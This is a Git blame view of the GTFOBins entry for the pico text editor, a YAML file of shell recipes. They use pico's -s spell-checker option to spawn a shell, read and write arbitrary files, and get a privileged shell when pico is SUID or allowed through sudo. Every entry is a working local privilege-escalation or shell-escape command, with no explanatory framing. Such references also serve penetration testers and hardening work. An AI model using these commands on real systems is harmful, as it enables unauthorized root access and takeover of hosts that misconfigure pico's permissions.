GTFOBins.github.io/_gtfobins/pico.md

32 lines
587 B
Markdown
Raw Normal View History

2018-05-29 19:23:33 +02:00
---
functions:
execute-interactive:
- code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
pico -s $TF /etc/hosts
^T
2018-05-29 19:23:33 +02:00
file-write:
2018-07-16 15:01:50 +02:00
- code: |
pico file_to_write
DATA
2018-07-16 15:01:50 +02:00
^O
2018-07-04 20:26:52 +02:00
file-read:
2018-07-16 15:01:50 +02:00
- code: pico file_to_read
2018-07-04 20:26:52 +02:00
suid-enabled:
- code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh -p' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
./pico -s $TF /etc/hosts
^T
2018-07-04 20:26:52 +02:00
sudo-enabled:
- code: |
2018-07-16 15:01:50 +02:00
TF=$(mktemp)
echo 'exec sh' > $TF
2018-07-16 15:01:50 +02:00
chmod +x $TF
sudo pico -s $TF /etc/hosts
^T
2018-05-29 19:23:33 +02:00
---